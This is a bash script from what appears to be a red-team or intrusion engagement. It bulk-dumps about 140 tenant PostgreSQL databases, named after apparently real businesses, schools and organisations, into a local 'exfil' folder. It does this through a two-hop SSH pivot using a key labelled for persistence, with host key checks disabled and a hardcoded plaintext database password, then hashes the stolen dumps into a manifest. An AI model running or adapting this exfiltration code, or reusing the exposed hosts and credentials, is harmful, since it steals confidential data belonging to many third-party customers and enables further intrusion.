#!/bin/bash
# Dump ALL remaining host B PG DBs (144 tenants, skip replicas)
set -u
OUTDIR=/root/ir-assessment/redteam/gitlab_npontutechnologies_com/exfil_hostB_pg
mkdir -p "$OUTDIR"

# all remaining tenants (not replicas, not already dumped)
DBS=$(cat <<'EOF'
tenant_7k_limited
tenant_ab__david_africa
tenant_abc
tenant_abc_inc
tenant_achabs
tenant_adiyie_fabrics
tenant_africa_global_logistics_ghana_ltd
tenant_agroland_company_ltd
tenant_aguma_teaherbs_and_ventures
tenant_aguma_teaherbs_and_ventures_backup
tenant_aidem_susu_trust
tenant_akyaa_legacy
tenant_alfreda_mining_limited
tenant_alubet
tenant_anglogold_ashanti_iduaprim_2025-08-12
tenant_aquiolab
tenant_archxenus_axe
tenant_aristoland_montessori_center
tenant_asanan_ltd
tenant_ayuba
tenant_bag_store
tenant_bazan_afrik
tenant_bethel_logistic
tenant_biawong_traven_and_tour
tenant_blasuugroup
tenant_bold
tenant_bountoplus_ltd
tenant_brainhill_international_school
tenant_btl_marketing_drc__zambia__lib
tenant_btl_test_account
tenant_chartered_institute_of_human_r
tenant_chick_with_jane
tenant_chocoluv
tenant_chrisbim_smart_ventures
tenant_commanex_investments_ltd
tenant_cropcapital_investment
tenant_cycle_farms_ghana_ltd
tenant_defarmercist_group_limited
tenant_ekduo_ltd
tenant_elbrikg_group_ltd
tenant_emep
tenant_emmanuel_obeng
tenant_erith_health_services
tenant_esxplode
tenant_et_tech
tenant_etornam_company
tenant_fashion
tenant_fashion_hub_gh
tenant_fausty_business
tenant_ff_footwears
tenant_finaltest
tenant_flavours_and_grains
tenant_foothills_christian_school
tenant_fr_campbell_svd_foundation
tenant_frank_inc
tenant_frank_inc1
tenant_frank_inc2
tenant_gem_digital
tenant_ghana_chamber_of_commerce
tenant_gina_financial_consult
tenant_glass_palace_ltd
tenant_greenglow_solutions_ltd
tenant_greengrow_farms_ltd
tenant_hamany_organization
tenant_happy_bloomers_school
tenant_hawa_naturals
tenant_hawas_haven
tenant_hr_company_limited
tenant_ick_financial_services
tenant_inpath
tenant_isnu_ltd
tenant_janjan
tenant_jescil_creative_agency
tenant_jubilare_chorale
tenant_kasma_foods
tenant_kelya_business
tenant_kh
tenant_kh_group_limited
tenant_khy_business_ltd
tenant_kmg_international_complex
tenant_kpmg
tenant_kpmg_gh
tenant_kpmg_ghana
tenant_kpplc
tenant_kpplcc
tenant_lightwave
tenant_loxg
tenant_lusso_fnf
tenant_mabelina_fabricsgh
tenant_macha
tenant_manwell__collection
tenant_mcl_company_limited
tenant_meranth_limited
tenant_merton_international_school
tenant_metal_craft_engineering
tenant_mowblox_ltd
tenant_mylar
tenant_mylarayu
tenant_myler
tenant_nextgen_stem_academy_ltd
tenant_nkulu_wash
tenant_nocta
tenant_north_legon_little_campus
tenant_npontu_technologies_limited
tenant_npontu_test__account
tenant_npontudevsec
tenant_orbit_handy_services
tenant_perbi_cubs
tenant_phaustys_enterprise
tenant_prime_axis
tenant_primeship_management
tenant_primeship_management_test
tenant_prince_jones_sports
tenant_prince_jones_sports_center
tenant_qa_test
tenant_raftel
tenant_remo_biz
tenant_risingsun_montessori_schools_ltd
tenant_safari_international_school
tenant_safetyandhomesolutions
tenant_sam_enterprise
tenant_saviors_ltd
tenant_sleek_garment
tenant_sleek_garment_export_ltd
tenant_smartsapp
tenant_spices_and_grills
tenant_the_babynest_2
tenant_the_babynest_bk
tenant_the_babynest_test
tenant_the_chartered_institute_of_hum
tenant_the_nexus
tenant_top_up_pharmacy
tenant_transika_limited
tenant_trials
tenant_true_rica
tenant_ttb
tenant_utnopn
tenant_vee_industries
tenant_wedor_company_and_co
tenant_xchain_technology_limited
EOF
)

echo "=== REMAINING TENANT DUMP START ==="
OK=0; FAIL=0; TOTAL=0
for db in $DBS; do
  out="$OUTDIR/${db}.sql.gz"
  [ -s "$out" ] && { echo "[SKIP] $db"; continue; }
  ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no pontian@65.109.51.221 \
    "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
    \"PGPASSWORD=N3wkedba# pg_dump -h 127.0.0.1 -p 5432 -U kedebah -d '$db' --no-owner --no-privileges 2>/dev/null | gzip -1\"" \
    > "$out" 2>>"$OUTDIR/errors.log"
  rc=$?
  if [ $rc -eq 0 ] && [ -s "$out" ]; then
    echo "[OK] $db $(du -sh "$out" | cut -f1)"
    OK=$((OK+1))
  else
    echo "[FAIL] $db rc=$rc"
    rm -f "$out"
    FAIL=$((FAIL+1))
  fi
  TOTAL=$((TOTAL+1))
done
echo "=== DONE: $OK OK / $FAIL FAIL ==="
# refresh manifest
sha256sum "$OUTDIR"/*.sql.gz > "$OUTDIR/MANIFEST.sha256" 2>/dev/null
echo "manifest refreshed: $(wc -l < "$OUTDIR/MANIFEST.sha256") files"
